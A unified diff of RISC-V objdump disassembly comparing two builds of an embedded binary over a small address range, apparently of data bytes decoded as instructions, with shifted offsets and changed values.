-    261a:	a506                	fsd	ft1,136(sp)
-    261c:	2301                	jal	2b1c <__stack_size+0x231c>
-    261e:	0062                	c.slli	zero,0x18
-    2620:	0500                	addi	s0,sp,640
-    2622:	01a6                	slli	gp,gp,0x9
-    2624:	1cd9                	addi	s9,s9,-10
+    260c:	a506                	fsd	ft1,136(sp)
+    260e:	ee01                	bnez	a2,2626 <__stack_size+0x1e26>
+    2610:	0062                	c.slli	zero,0x18
+    2612:	0500                	addi	s0,sp,640
+    2614:	01a6                	slli	gp,gp,0x9
+    2616:	00001c07          	0x1c07
+    261a:	a706                	fsd	ft1,392(sp)
+    261c:	9401                	srai	s0,s0,0x20
+    261e:	0500004b          	0x500004b
+    2622:	01a8                	addi	a0,sp,200
+    2624:	9a2d                	andi	a2,a2,-21
     2626:	0000                	unimp
-    2628:	a706                	fsd	ft1,392(sp)
-    262a:	5b01                	li	s6,-32
-    262c:	004a                	c.slli	zero,0x12
+    2628:	a906                	fsd	ft1,144(sp)
+    262a:	ed01                	bnez	a0,2642 <__stack_size+0x1e42>
+    262c:	0062                	c.slli	zero,0x18
     262e:	0500                	addi	s0,sp,640
-    2630:	01a8                	addi	a0,sp,200
-    2632:	997f                	0x997f
+    2630:	01aa                	slli	gp,gp,0xa
+    2632:	2af8                	fld	fa4,208(a3)
     2634:	0000                	unimp
-    2636:	a906                	fsd	ft1,144(sp)
-    2638:	2201                	jal	2738 <__stack_size+0x1f38>
-    263a:	0062                	c.slli	zero,0x18
+    2636:	ab06                	fsd	ft1,400(sp)
+    2638:	1b01                	addi	s6,s6,-32
+    263a:	0088                	addi	a0,sp,64
     263c:	0500                	addi	s0,sp,640
-    263e:	01aa                	slli	gp,gp,0xa
-    2640:	2a2d                	jal	277a <__stack_size+0x1f7a>
+    263e:	01ac                	addi	a1,sp,200
+    2640:	9dc8                	0x9dc8
     2642:	0000                	unimp
-    2644:	ab06                	fsd	ft1,400(sp)
-    2646:	7801                	lui	a6,0xfffe0
-    2648:	05000087          	0x5000087
-    264c:	01ac                	addi	a1,sp,200
-    264e:	00009d73          	csrrw	s10,ustatus,ra
-    2652:	ad06                	fsd	ft1,152(sp)
-    2654:	ca01                	beqz	a2,2664 <__stack_size+0x1e64>
-    2656:	001c                	0x1c
+    2644:	ad06                	fsd	ft1,152(sp)
+    2646:	f801                	bnez	s0,2556 <__stack_size+0x1d56>
+    2648:	0500001b          	0x500001b
+    264c:	01ae                	slli	gp,gp,0xb
+    264e:	5226                	lw	tp,104(sp)
+    2650:	0000                	unimp
+    2652:	af06                	fsd	ft1,408(sp)
+    2654:	1a01                	addi	s4,s4,-32
+    2656:	0088                	addi	a0,sp,64
     2658:	0500                	addi	s0,sp,640
-    265a:	01ae                	slli	gp,gp,0xb
-    265c:	50fe                	lw	ra,252(sp)
-    265e:	0000                	unimp
-    2660:	af06                	fsd	ft1,408(sp)
-    2662:	7701                	lui	a4,0xfffe0
-    2664:	05000087          	0x5000087
-    2668:	01b0                	addi	a2,sp,200
-    266a:	02f8                	addi	a4,sp,332
+    265a:	01b0                	addi	a2,sp,200
+    265c:	461f 0000 b106      	0xb1060000461f
+    2662:	4201                	li	tp,0
+    2664:	0001                	nop
+    2666:	0500                	addi	s0,sp,640
+    2668:	01b2                	slli	gp,gp,0xc
+    266a:	a03d                	j	2698 <__stack_size+0x1e98>
     266c:	0000                	unimp
-    266e:	b106                	fsd	ft1,160(sp)
-    2670:	6d01                	0x6d01
-    2672:	0001                	nop
+    266e:	b306                	fsd	ft1,416(sp)
+    2670:	2801                	jal	2680 <__stack_size+0x1e80>
+    2672:	0035                	c.nop	13
     2674:	0500                	addi	s0,sp,640
-    2676:	01b2                	slli	gp,gp,0xc
-    2678:	a005                	j	2698 <__stack_size+0x1e98>
-    267a:	0000                	unimp
-    267c:	b306                	fsd	ft1,416(sp)
-    267e:	4801                	li	a6,0
-    2680:	0034                	addi	a3,sp,8
+    2676:	01b4                	addi	a3,sp,200
+    2678:	00007f07          	0x7f07
+    267c:	b506                	fsd	ft1,168(sp)
+    267e:	4101                	li	sp,0
+    2680:	0001                	nop
     2682:	0500                	addi	s0,sp,640
-    2684:	01b4                	addi	a3,sp,200
-    2686:	7e84                	flw	fs1,56(a3)
+    2684:	01b6                	slli	gp,gp,0xd
+    2686:	3d51                	jal	251a <__stack_size+0x1d1a>
     2688:	0000                	unimp
-    268a:	b506                	fsd	ft1,168(sp)
-    268c:	6c01                	0x6c01
-    268e:	0001                	nop
+    268a:	b706                	fsd	ft1,424(sp)
+    268c:	b401                	j	208c <__stack_size+0x188c>
+    268e:	0004                	0x4
     2690:	0500                	addi	s0,sp,640
-    2692:	01b6                	slli	gp,gp,0xd
-    2694:	00003c2f          	0x3c2f
-    2698:	b706                	fsd	ft1,424(sp)
-    269a:	3401                	jal	209a <__stack_size+0x189a>
-    269c:	0005                	c.nop	1
+    2692:	01b8                	addi	a4,sp,200
+    2694:	09a4                	addi	s1,sp,216
+    2696:	0000                	unimp
+    2698:	b906                	fsd	ft1,176(sp)
+    269a:	9701                	srai	a4,a4,0x20
+    269c:	0038                	addi	a4,sp,8
     269e:	0500                	addi	s0,sp,640
-    26a0:	01b8                	addi	a4,sp,200
-    26a2:	0a0e                	slli	s4,s4,0x3
-    26a4:	0000                	unimp
-    26a6:	b906                	fsd	ft1,176(sp)
-    26a8:	c901                	beqz	a0,26b8 <__stack_size+0x1eb8>
-    26aa:	05000037          	lui	zero,0x5000
-    26ae:	01ba                	slli	gp,gp,0xe
-    26b0:	0000a043          	fmadd.s	ft0,ft1,ft0,ft0,rdn
-    26b4:	bb06                	fsd	ft1,432(sp)
-    26b6:	3301                	jal	23b6 <__stack_size+0x1bb6>
-    26b8:	0005                	c.nop	1
+    26a0:	01ba                	slli	gp,gp,0xe
+    26a2:	0000a07b          	0xa07b
+    26a6:	bb06                	fsd	ft1,432(sp)
+    26a8:	b301                	j	23a8 <__stack_size+0x1ba8>
+    26aa:	0004                	0x4
+    26ac:	0500                	addi	s0,sp,640
+    26ae:	01bc                	addi	a5,sp,200
+    26b0:	3f0c                	fld	fa1,56(a4)
+    26b2:	0000                	unimp
+    26b4:	bf06                	fsd	ft1,440(sp)
+    26b6:	6501                	0x6501
+    26b8:	0024                	addi	s1,sp,8
     26ba:	0500                	addi	s0,sp,640
-    26bc:	01bc                	addi	a5,sp,200
-    26be:	3e01                	jal	21ce <__stack_size+0x19ce>
+    26bc:	01c0                	addi	s0,sp,196
+    26be:	867d                	srai	a2,a2,0x1f
     26c0:	0000                	unimp
-    26c2:	bf06                	fsd	ft1,440(sp)
-    26c4:	b901                	j	22d4 <__stack_size+0x1ad4>
-    26c6:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
-    26ca:	01c0                	addi	s0,sp,196
-    26cc:	1c74                	addi	a3,sp,572
+    26c2:	c106                	sw	ra,128(sp)
+    26c4:	d601                	beqz	a2,25cc <__stack_size+0x1dcc>
+    26c6:	0068                	addi	a0,sp,12
+    26c8:	0500                	addi	s0,sp,640
+    26ca:	01c2                	slli	gp,gp,0x10
+    26cc:	0f18                	addi	a4,sp,912
     26ce:	0000                	unimp
-    26d0:	c106                	sw	ra,128(sp)
-    26d2:	1901                	addi	s2,s2,-32
-    26d4:	0068                	addi	a0,sp,12
+    26d0:	c506                	sw	ra,136(sp)
+    26d2:	6401                	0x6401
+    26d4:	0024                	addi	s1,sp,8
     26d6:	0500                	addi	s0,sp,640
-    26d8:	01c2                	slli	gp,gp,0x10
-    26da:	0f60                	addi	s0,sp,924
+    26d8:	01c6                	slli	gp,gp,0x11
+    26da:	851d                	srai	a0,a0,0x7
     26dc:	0000                	unimp
-    26de:	c506                	sw	ra,136(sp)
-    26e0:	b801                	j	1ef0 <__stack_size+0x16f0>
-    26e2:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
-    26e6:	01c6                	slli	gp,gp,0x11
-    26e8:	84a1                	srai	s1,s1,0x8
-    26ea:	0000                	unimp
-    26ec:	c906                	sw	ra,144(sp)
-    26ee:	d201                	beqz	a2,25ee <__stack_size+0x1dee>
-    26f0:	0012                	c.slli	zero,0x4
-    26f2:	0500                	addi	s0,sp,640
-    26f4:	01ca                	slli	gp,gp,0x12
-    26f6:	00009f57          	0x9f57
-    26fa:	cb06                	sw	ra,148(sp)
-    26fc:	9801                	andi	s0,s0,-32
-    26fe:	0056                	c.slli	zero,0x15
+    26de:	c906                	sw	ra,144(sp)
+    26e0:	4401                	li	s0,0
+    26e2:	0012                	c.slli	zero,0x4
+    26e4:	0500                	addi	s0,sp,640
+    26e6:	01ca                	slli	gp,gp,0x12
+    26e8:	00009f8f          	0x9f8f
+    26ec:	cb06                	sw	ra,148(sp)
+    26ee:	d501                	beqz	a0,25f6 <__stack_size+0x1df6>
+    26f0:	05000057          	0x5000057
+    26f4:	01cc                	addi	a1,sp,196
+    26f6:	0cec                	addi	a1,sp,604
+    26f8:	0000                	unimp
+    26fa:	cd06                	sw	ra,152(sp)
+    26fc:	4301                	li	t1,0
+    26fe:	0012                	c.slli	zero,0x4
     2700:	0500                	addi	s0,sp,640
-    2702:	01cc                	addi	a1,sp,196
-    2704:	61d6                	flw	ft3,84(sp)
-    2706:	0000                	unimp
-    2708:	cd06                	sw	ra,152(sp)
-    270a:	d101                	beqz	a0,260a <__stack_size+0x1e0a>
-    270c:	0012                	c.slli	zero,0x4
+    2702:	01ce                	slli	gp,gp,0x13
+    2704:	a05f 0000 d206      	0xd2060000a05f
+    270a:	b801                	j	1f1a <__stack_size+0x171a>
+    270c:	0018                	0x18
     270e:	0500                	addi	s0,sp,640
-    2710:	01ce                	slli	gp,gp,0x13
-    2712:	0000a027          	fsw	ft0,0(ra) # 5001f7a <__stack_size+0x500177a>
-    2716:	d206                	sw	ra,36(sp)
+    2710:	39a201d3          	0x39a201d3
+    2714:	0000                	unimp
+    2716:	d406                	sw	ra,40(sp)
     2718:	6901                	0x6901
-    271a:	0019                	c.nop	6
+    271a:	007d                	c.nop	31
     271c:	0500                	addi	s0,sp,640
-    271e:	0d4701d3          	0xd4701d3
+    271e:	01d5                	addi	gp,gp,21
+    2720:	2b76                	fld	fs6,344(sp)
     2722:	0000                	unimp
-    2724:	d406                	sw	ra,40(sp)
-    2726:	7301                	lui	t1,0xfffe0
-    2728:	0041                	c.nop	16
+    2724:	d706                	sw	ra,172(sp)
+    2726:	7601                	lui	a2,0xfffe0
+    2728:	0096                	slli	ra,ra,0x5
     272a:	0500                	addi	s0,sp,640
-    272c:	01d5                	addi	gp,gp,21
-    272e:	00002aab          	0x2aab
-    2732:	d706                	sw	ra,172(sp)
-    2734:	c701                	beqz	a4,273c <__stack_size+0x1f3c>
-    2736:	0095                	addi	ra,ra,5
+    272c:	01d8                	addi	a4,sp,196
+    272e:	3f64                	fld	fs1,248(a4)
+    2730:	0000                	unimp
+    2732:	d906                	sw	ra,176(sp)
+    2734:	4101                	li	sp,0
+    2736:	0008                	0x8
     2738:	0500                	addi	s0,sp,640
-    273a:	01d8                	addi	a4,sp,196
-    273c:	3e59                	jal	22d2 <__stack_size+0x1ad2>
+    273a:	01da                	slli	gp,gp,0x16
+    273c:	9144                	0x9144
     273e:	0000                	unimp
-    2740:	d906                	sw	ra,176(sp)
-    2742:	db01                	beqz	a4,2652 <__stack_size+0x1e52>
-    2744:	0052                	c.slli	zero,0x14
+    2740:	dc06                	sw	ra,56(sp)
+    2742:	3f01                	jal	2652 <__stack_size+0x1e52>
+    2744:	002c                	addi	a1,sp,8
     2746:	0500                	addi	s0,sp,640
-    2748:	01da                	slli	gp,gp,0x16
-    274a:	6526                	flw	fa0,72(sp)
+    2748:	01dd                	addi	gp,gp,23
+    274a:	768a                	flw	fa3,160(sp)
     274c:	0000                	unimp
-    274e:	dc06                	sw	ra,56(sp)
-    2750:	7401                	lui	s0,0xfffe0
-    2752:	0500002b          	0x500002b
-    2756:	01dd                	addi	gp,gp,23
-    2758:	4d2d                	li	s10,11
+    274e:	df06                	sw	ra,188(sp)
+    2750:	5101                	li	sp,-32
+    2752:	006e                	c.slli	zero,0x1b
+    2754:	0500                	addi	s0,sp,640
+    2756:	01e0                	addi	s0,sp,204
+    2758:	2c72                	fld	fs8,280(sp)
     275a:	0000                	unimp
-    275c:	df06                	sw	ra,188(sp)
-    275e:	b801                	j	1f6e <__stack_size+0x176e>
-    2760:	006d                	c.nop	27
+    275c:	e106                	fsw	ft1,128(sp)
+    275e:	c001                	beqz	s0,275e <__stack_size+0x1f5e>
+    2760:	002a                	c.slli	zero,0xa
     2762:	0500                	addi	s0,sp,640
-    2764:	01e0                	addi	s0,sp,204
-    2766:	00002ba7          	fsw	ft0,23(zero) # 17 <__stack_size-0x7e9>
-    276a:	e106                	fsw	ft1,128(sp)
-    276c:	f501                	bnez	a0,2674 <__stack_size+0x1e74>
-    276e:	0029                	c.nop	10
+    2764:	01e2                	slli	gp,gp,0x18
+    2766:	000084ab          	0x84ab
+    276a:	e406                	fsw	ft1,8(sp)
+    276c:	cf01                	beqz	a4,2784 <__stack_size+0x1f84>
+    276e:	0096                	slli	ra,ra,0x5
     2770:	0500                	addi	s0,sp,640
-    2772:	01e2                	slli	gp,gp,0x18
-    2774:	8425                	srai	s0,s0,0x9
+    2772:	01e5                	addi	gp,gp,25
+    2774:	57b0                	lw	a2,104(a5)
     2776:	0000                	unimp
-    2778:	e406                	fsw	ft1,8(sp)
-    277a:	2001                	jal	277a <__stack_size+0x1f7a>
-    277c:	0096                	slli	ra,ra,0x5
+    2778:	e606                	fsw	ft1,12(sp)
+    277a:	3001                	jal	1f7a <__stack_size+0x177a>
+    277c:	0051                	c.nop	20
     277e:	0500                	addi	s0,sp,640
-    2780:	01e5                	addi	gp,gp,25
-    2782:	541d                	li	s0,-25
+    2780:	77f701e7          	jalr	gp,1919(a4) # 177f <__stack_size+0xf7f>
     2784:	0000                	unimp
-    2786:	e606                	fsw	ft1,12(sp)
-    2788:	0801                	addi	a6,a6,0
-    278a:	0050                	addi	a2,sp,4
+    2786:	ef06                	fsw	ft1,156(sp)
+    2788:	6e01                	0x6e01
+    278a:	0065                	c.nop	25
     278c:	0500                	addi	s0,sp,640
-    278e:	774f01e7          	jalr	gp,1908(t5) # fffe1774 <_heap_end+0x7ffd2f74>
+    278e:	01f0                	addi	a2,sp,204
+    2790:	25e5                	jal	2e78 <__stack_size+0x2678>
     2792:	0000                	unimp
-    2794:	ef06                	fsw	ft1,156(sp)
-    2796:	ab01                	j	2ca6 <__stack_size+0x24a6>
-    2798:	0064                	addi	s1,sp,12
-    279a:	0500                	addi	s0,sp,640
-    279c:	01f0                	addi	a2,sp,204
-    279e:	252c                	fld	fa1,72(a0)
+    2794:	f106                	fsw	ft1,160(sp)
+    2796:	a301                	j	2c96 <__stack_size+0x2496>
+    2798:	0500009b          	0x500009b
+    279c:	01f2                	slli	gp,gp,0x1c
+    279e:	9292                	add	t0,t0,tp
     27a0:	0000                	unimp
-    27a2:	f106                	fsw	ft1,160(sp)
-    27a4:	2601                	jal	2aa4 <__stack_size+0x22a4>
-    27a6:	0500009b          	0x500009b
-    27aa:	01f2                	slli	gp,gp,0x1c
-    27ac:	000091eb          	0x91eb
-    27b0:	f306                	fsw	ft1,164(sp)
-    27b2:	f901                	bnez	a0,26c2 <__stack_size+0x1ec2>
-    27b4:	003a                	c.slli	zero,0xe
+    27a2:	f306                	fsw	ft1,164(sp)
+    27a4:	af01                	j	2eb4 <__stack_size+0x26b4>
+    27a6:	0055                	c.nop	21
+    27a8:	0500                	addi	s0,sp,640
+    27aa:	01f4                	addi	a3,sp,204
+    27ac:	2488                	fld	fa0,8(s1)
+    27ae:	0000                	unimp
+    27b0:	f506                	fsw	ft1,168(sp)
+    27b2:	4601                	li	a2,0
+    27b4:	001e                	c.slli	zero,0x7
     27b6:	0500                	addi	s0,sp,640
-    27b8:	01f4                	addi	a3,sp,204
-    27ba:	23dc                	fld	fa5,128(a5)
-    27bc:	0000                	unimp
-    27be:	f506                	fsw	ft1,168(sp)
-    27c0:	2501                	jal	2dc0 <__stack_size+0x25c0>
-    27c2:	001e                	c.slli	zero,0x7
+    27b8:	01f6                	slli	gp,gp,0x1d
+    27ba:	00006abb          	0x6abb
+    27be:	f706                	fsw	ft1,172(sp)
+    27c0:	6d01                	0x6d01
+    27c2:	0065                	c.nop	25
     27c4:	0500                	addi	s0,sp,640
-    27c6:	01f6                	slli	gp,gp,0x1d
-    27c8:	6a19                	lui	s4,0x6
+    27c6:	01f8                	addi	a4,sp,204
+    27c8:	5fd5                	li	t6,-11
     27ca:	0000                	unimp
-    27cc:	f706                	fsw	ft1,172(sp)
-    27ce:	aa01                	j	28de <__stack_size+0x20de>
-    27d0:	0064                	addi	s1,sp,12
-    27d2:	0500                	addi	s0,sp,640
-    27d4:	01f8                	addi	a4,sp,204
-    27d6:	5ec9                	li	t4,-14
+    27cc:	f906                	fsw	ft1,176(sp)
+    27ce:	a201                	j	28ce <__stack_size+0x20ce>
+    27d0:	0500009b          	0x500009b
+    27d4:	01fa                	slli	gp,gp,0x1e
+    27d6:	5ab2                	lw	s5,44(sp)
     27d8:	0000                	unimp
-    27da:	f906                	fsw	ft1,176(sp)
-    27dc:	2501                	jal	2ddc <__stack_size+0x25dc>
-    27de:	0500009b          	0x500009b
-    27e2:	01fa                	slli	gp,gp,0x1e
-    27e4:	1272                	slli	tp,tp,0x3c
-    27e6:	0000                	unimp
-    27e8:	fb06                	fsw	ft1,180(sp)
-    27ea:	f801                	bnez	s0,26fa <__stack_size+0x1efa>
-    27ec:	003a                	c.slli	zero,0xe
+    27da:	fb06                	fsw	ft1,180(sp)
+    27dc:	ae01                	j	2aec <__stack_size+0x22ec>
+    27de:	0055                	c.nop	21
+    27e0:	0500                	addi	s0,sp,640
+    27e2:	01fc                	addi	a5,sp,204
+    27e4:	43df 0000 fd06      	0xfd06000043df
+    27ea:	4501                	li	a0,0
+    27ec:	001e                	c.slli	zero,0x7
     27ee:	0500                	addi	s0,sp,640
-    27f0:	01fc                	addi	a5,sp,204
-    27f2:	42e0                	lw	s0,68(a3)
+    27f0:	01fe                	slli	gp,gp,0x1f
+    27f2:	952a                	add	a0,a0,a0
     27f4:	0000                	unimp
-    27f6:	fd06                	fsw	ft1,184(sp)
-    27f8:	2401                	jal	29f8 <__stack_size+0x21f8>
-    27fa:	001e                	c.slli	zero,0x7
+    27f6:	ff06                	fsw	ft1,188(sp)
+    27f8:	f501                	bnez	a0,2700 <__stack_size+0x1f00>
+    27fa:	0041                	c.nop	16
     27fc:	0500                	addi	s0,sp,640
-    27fe:	01fe                	slli	gp,gp,0x1f
-    2800:	0000947b          	0x947b
-    2804:	ff06                	fsw	ft1,188(sp)
-    2806:	ea01                	bnez	a2,2816 <__stack_size+0x2016>
-    2808:	0040                	addi	s0,sp,4
+    27fe:	0280                	addi	s0,sp,320
+    2800:	5796                	lw	a5,100(sp)
+    2802:	0000                	unimp
+    2804:	8106                	mv	sp,ra
+    2806:	f402                	fsw	ft0,40(sp)
+    2808:	0041                	c.nop	16
     280a:	0500                	addi	s0,sp,640
-    280c:	0280                	addi	s0,sp,320
-    280e:	5655                	li	a2,-11
+    280c:	0282                	c.slli64	t0
+    280e:	12c1                	addi	t0,t0,-16
     2810:	0000                	unimp
-    2812:	8106                	mv	sp,ra
-    2814:	e902                	fsw	ft0,144(sp)
-    2816:	0040                	addi	s0,sp,4
-    2818:	0500                	addi	s0,sp,640
-    281a:	0282                	c.slli64	t0
-    281c:	136e                	slli	t1,t1,0x3b
-    281e:	0000                	unimp
-    2820:	0400                	addi	s0,sp,512
-    2822:	0000                	unimp
-    2824:	0a05                	addi	s4,s4,1
-    2826:	87bc                	0x87bc
-    2828:	0000                	unimp
-    282a:	0d05                	addi	s10,s10,1
-    282c:	7714                	flw	fa3,40(a4)
-    282e:	0000                	unimp
-    2830:	0e05                	addi	t3,t3,1
-    2832:	4ca5                	li	s9,9
-    2834:	0000                	unimp
-    2836:	1305                	addi	t1,t1,-31
-    2838:	8b6d                	andi	a4,a4,27
-    283a:	0000                	unimp
-    283c:	1f05                	addi	t5,t5,-31
-    283e:	8df0                	0x8df0
-    2840:	0000                	unimp
-    2842:	4c05                	li	s8,1
-    2844:	6699                	lui	a3,0x6
-    2846:	0000                	unimp
-    2848:	5205                	li	tp,-31
-    284a:	981a                	add	a6,a6,t1
-    284c:	0000                	unimp
-    284e:	5805                	li	a6,-31
-    2850:	2f14                	fld	fa3,24(a4)
-    2852:	0000                	unimp
-    2854:	5d05                	li	s10,-31
-    2856:	00001687          	0x1687
-    285a:	7d05                	lui	s10,0xfffe1
-    285c:	6a5f 0000 8505      	0x850500006a5f
-    2862:	8e01                	sub	a2,a2,s0
-    2864:	0500004f          	0x500004f
-    2868:	0186                	slli	gp,gp,0x1
-    286a:	000046af          	0x46af
-    286e:	8705                	srai	a4,a4,0x1
-    2870:	a001                	j	2870 <__stack_size+0x2070>
-    2872:	0500006f          	j	28c2 <__stack_size+0x20c2>
-    2876:	0188                	addi	a0,sp,192
-    2878:	4368                	lw	a0,68(a4)
+    2812:	0400                	addi	s0,sp,512
+    2814:	0000                	unimp
+    2816:	0a05                	addi	s4,s4,1
+    2818:	885f 0000 0d05      	0xd050000885f
+    281e:	77bc                	flw	fa5,104(a5)
+    2820:	0000                	unimp
+    2822:	0e05                	addi	t3,t3,1
+    2824:	20bc                	fld	fa5,64(s1)
+    2826:	0000                	unimp
+    2828:	1305                	addi	t1,t1,-31
+    282a:	8c20                	0x8c20
+    282c:	0000                	unimp
+    282e:	1f05                	addi	t5,t5,-31
+    2830:	8eaa                	mv	t4,a0
+    2832:	0000                	unimp
+    2834:	4c05                	li	s8,1
+    2836:	6709                	lui	a4,0x2
+    2838:	0000                	unimp
+    283a:	5205                	li	tp,-31
+    283c:	98bd                	andi	s1,s1,-17
+    283e:	0000                	unimp
+    2840:	5805                	li	a6,-31
+    2842:	3008                	fld	fa0,32(s0)
+    2844:	0000                	unimp
+    2846:	5d05                	li	s10,-31
+    2848:	15d6                	slli	a1,a1,0x35
+    284a:	0000                	unimp
+    284c:	7d05                	lui	s10,0xfffe1
+    284e:	6b01                	0x6b01
+    2850:	0000                	unimp
+    2852:	8505                	srai	a0,a0,0x1
+    2854:	c601                	beqz	a2,285c <__stack_size+0x205c>
+    2856:	0045                	c.nop	17
+    2858:	0500                	addi	s0,sp,640
+    285a:	0186                	slli	gp,gp,0x1
+    285c:	47cc                	lw	a1,12(a5)
+    285e:	0000                	unimp
+    2860:	8705                	srai	a4,a4,0x1
+    2862:	3901                	jal	2472 <__stack_size+0x1c72>
+    2864:	0070                	addi	a2,sp,12
+    2866:	0500                	addi	s0,sp,640
+    2868:	0188                	addi	a0,sp,192
+    286a:	00004467          	0x4467
+    286e:	8905                	andi	a0,a0,1
+    2870:	c101                	beqz	a0,2870 <__stack_size+0x2070>
+    2872:	0048                	addi	a0,sp,4
+    2874:	0500                	addi	s0,sp,640
+    2876:	018a                	slli	gp,gp,0x2
+    2878:	9f82                	jalr	t6
     287a:	0000                	unimp
-    287c:	8905                	andi	a0,a0,1
-    287e:	a401                	j	2a7e <__stack_size+0x227e>
-    2880:	05000047          	0x5000047
-    2884:	018a                	slli	gp,gp,0x2
-    2886:	9f4a                	add	t5,t5,s2
-    2888:	0000                	unimp
-    288a:	8b05                	andi	a4,a4,1
-    288c:	1501                	addi	a0,a0,-32
-    288e:	0052                	c.slli	zero,0x14
-    2890:	0500                	addi	s0,sp,640
-    2892:	018d                	addi	gp,gp,3
-    2894:	518d                	li	gp,-29
+    287c:	8b05                	andi	a4,a4,1
+    287e:	3701                	jal	277e <__stack_size+0x1f7e>
+    2880:	05000053          	0x5000053
+    2884:	018d                	addi	gp,gp,3
+    2886:	000052cf          	fnmadd.s	ft5,ft0,ft0,ft0,unknown
+    288a:	8e05                	sub	a2,a2,s1
+    288c:	ba01                	j	219c <__stack_size+0x199c>
+    288e:	0500009b          	0x500009b
+    2892:	2ab0018f          	0x2ab0018f
     2896:	0000                	unimp
-    2898:	8e05                	sub	a2,a2,s1
-    289a:	3d01                	jal	26aa <__stack_size+0x1eaa>
-    289c:	0500009b          	0x500009b
-    28a0:	358e018f          	0x358e018f
-    28a4:	0000                	unimp
-    28a6:	9005                	srli	s0,s0,0x21
-    28a8:	ac01                	j	2ab8 <__stack_size+0x22b8>
-    28aa:	005f 0500 0191      	0x1910500005f
-    28b0:	00005123          	0x5123
-    28b4:	9205                	srli	a2,a2,0x21
-    28b6:	fd01                	bnez	a0,27ce <__stack_size+0x1fce>
-    28b8:	0010                	0x10
+    2898:	9005                	srli	s0,s0,0x21
+    289a:	ad01                	j	2eaa <__stack_size+0x26aa>
+    289c:	0500001b          	0x500001b
+    28a0:	0191                	addi	gp,gp,4
+    28a2:	0000524b          	fnmsub.s	ft4,ft0,ft0,ft0,unknown
+    28a6:	9205                	srli	a2,a2,0x21
+    28a8:	9101                	srli	a0,a0,0x20
+    28aa:	0010                	0x10
+    28ac:	0500                	addi	s0,sp,640
+    28ae:	0194                	addi	a3,sp,192
+    28b0:	00006d3b          	0x6d3b
+    28b4:	9505                	srai	a0,a0,0x21
+    28b6:	ba01                	j	21c6 <__stack_size+0x19c6>
+    28b8:	0078                	addi	a4,sp,12
     28ba:	0500                	addi	s0,sp,640
-    28bc:	0194                	addi	a3,sp,192
-    28be:	6c9d                	lui	s9,0x7
-    28c0:	0000                	unimp
-    28c2:	9505                	srai	a0,a0,0x21
-    28c4:	bb01                	j	25d4 <__stack_size+0x1dd4>
-    28c6:	0038                	addi	a4,sp,8
+    28bc:	0196                	slli	gp,gp,0x5
+    28be:	0000006f          	j	28be <__stack_size+0x20be>
+    28c2:	9705                	srai	a4,a4,0x21
+    28c4:	9e01                	0x9e01
+    28c6:	004d                	c.nop	19
     28c8:	0500                	addi	s0,sp,640
-    28ca:	0196                	slli	gp,gp,0x5
-    28cc:	0000006f          	j	28cc <__stack_size+0x20cc>
-    28d0:	9705                	srai	a4,a4,0x21
-    28d2:	5f01                	li	t5,-32
-    28d4:	004c                	addi	a1,sp,4
+    28ca:	019a                	slli	gp,gp,0x6
+    28cc:	839f 0000 9b05      	0x9b050000839f
+    28d2:	2c01                	jal	2ae2 <__stack_size+0x22e2>
+    28d4:	005d                	c.nop	23
     28d6:	0500                	addi	s0,sp,640
-    28d8:	019a                	slli	gp,gp,0x6
-    28da:	8319                	srli	a4,a4,0x6
-    28dc:	0000                	unimp
-    28de:	9b05                	andi	a4,a4,-31
-    28e0:	2201                	jal	29e0 <__stack_size+0x21e0>
-    28e2:	005c                	addi	a5,sp,4
-    28e4:	0500                	addi	s0,sp,640
-    28e6:	019c                	addi	a5,sp,192
-    28e8:	00002fb3          	sltz	t6,zero
-    28ec:	9d05                	0x9d05
-    28ee:	4401                	li	s0,0
-    28f0:	0062                	c.slli	zero,0x18
+    28d8:	019c                	addi	a5,sp,192
+    28da:	000030a7          	fsd	ft0,1(zero) # 1 <__stack_size-0x7ff>
+    28de:	9d05                	0x9d05
+    28e0:	0f01                	addi	t5,t5,0
+    28e2:	05000063          	beq	zero,a6,2922 <__stack_size+0x2122>
+    28e6:	01a0                	addi	s0,sp,200
+    28e8:	33e4                	fld	fs1,224(a5)
+    28ea:	0000                	unimp
+    28ec:	a105                	j	2d0c <__stack_size+0x250c>
+    28ee:	5501                	li	a0,-32
+    28f0:	0006                	c.slli	zero,0x1
     28f2:	0500                	addi	s0,sp,640
-    28f4:	01a0                	addi	s0,sp,200
-    28f6:	32e9                	jal	22c0 <__stack_size+0x1ac0>
+    28f4:	466c01a3          	sb	t1,1123(s8) # fffef463 <_heap_end+0x7ffe0c63>
     28f8:	0000                	unimp
-    28fa:	a105                	j	2d1a <__stack_size+0x251a>
-    28fc:	df01                	beqz	a4,2814 <__stack_size+0x2014>
-    28fe:	0006                	c.slli	zero,0x1
+    28fa:	a405                	j	2b1a <__stack_size+0x231a>
+    28fc:	7801                	lui	a6,0xfffe0
+    28fe:	0078                	addi	a4,sp,12
     2900:	0500                	addi	s0,sp,640
-    2902:	031c01a3          	sb	a7,35(s8) # 1a023 <__stack_size+0x19823>
+    2902:	01a5                	addi	gp,gp,9
+    2904:	74b5                	lui	s1,0xfffed
     2906:	0000                	unimp
-    2908:	a405                	j	2b28 <__stack_size+0x2328>
-    290a:	db01                	beqz	a4,281a <__stack_size+0x201a>
-    290c:	05000077          	0x5000077
-    2910:	01a5                	addi	gp,gp,9
-    2912:	741a                	flw	fs0,164(sp)
+    2908:	a605                	j	2c28 <__stack_size+0x2428>
+    290a:	4901                	li	s2,0
+    290c:	0500005b          	0x500005b
+    2910:	01aa                	slli	gp,gp,0xa
+    2912:	2f72                	fld	ft10,280(sp)
     2914:	0000                	unimp
-    2916:	a605                	j	2c36 <__stack_size+0x2436>
-    2918:	2d01                	jal	2f28 <__stack_size+0x2728>
-    291a:	005a                	c.slli	zero,0x16
+    2916:	af05                	j	3046 <__stack_size+0x2846>
+    2918:	8601                	c.srai64	a2
+    291a:	009c                	addi	a5,sp,64
     291c:	0500                	addi	s0,sp,640
-    291e:	01aa                	slli	gp,gp,0xa
-    2920:	2e7e                	fld	ft8,472(sp)
+    291e:	01b5                	addi	gp,gp,13
+    2920:	6ea5                	lui	t4,0x9
     2922:	0000                	unimp
-    2924:	af05                	j	3054 <__stack_size+0x2854>
-    2926:	0901                	addi	s2,s2,0
-    2928:	009c                	addi	a5,sp,64
-    292a:	0500                	addi	s0,sp,640
-    292c:	01b5                	addi	gp,gp,13
-    292e:	6e0c                	flw	fa1,24(a2)
+    2924:	bd05                	j	2754 <__stack_size+0x1f54>
+    2926:	b801                	j	2136 <__stack_size+0x1936>
+    2928:	05000017          	auipc	zero,0x5000
